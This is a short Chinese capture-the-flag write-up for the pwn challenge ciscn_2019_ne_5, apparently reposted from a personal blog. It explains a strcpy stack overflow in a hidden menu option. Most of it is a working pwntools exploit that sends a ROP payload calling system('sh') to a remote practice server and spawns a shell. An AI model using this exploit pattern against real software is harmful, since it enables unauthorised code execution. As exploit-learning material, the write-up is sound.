pwn | ciscn_2019_ne_5

菜单题：（不知道为什么ida7.0会sp错误，但是不影响，直接看汇编一样的）

在下面的switch case里面可以看出还有4这个选项：

点进去发现strcpy可以利用：

就是先addlog写rop，然后利用就行了。
一开始我的思路是scanf写个/bin/sh，然后搜了一下发现里面有现成的sh字符串可以利用，就直接莽了。

exp如下：

from pwn import *

context.log_level = 'debug'
context.arch = 'i386'
context.os = 'linux'

addr_system = p32(0x080484D0)   # system()
addr_str = p32(0x080482ea)   # sh

# p = process('./ciscn_2019_ne_5')
p = remote('node4.buuoj.cn',27352)


p.recvuntil('password:')

p.sendline(b'administrator')

p.recvuntil('0.Exit\n:')

'''
rubbish
addr_system
addr_fake_retaddr(to_system)  # call system->push eip
arg: addr_format
'''

rubbish = b'A'*0x48 + b'B'*4
payload = rubbish + addr_system + b'haha' +addr_str

p.sendline('1')
p.recv()
p.sendline(payload)

p.interactive()

原文地址：http://www.cnblogs.com/Mz1-rc/p/16925100.html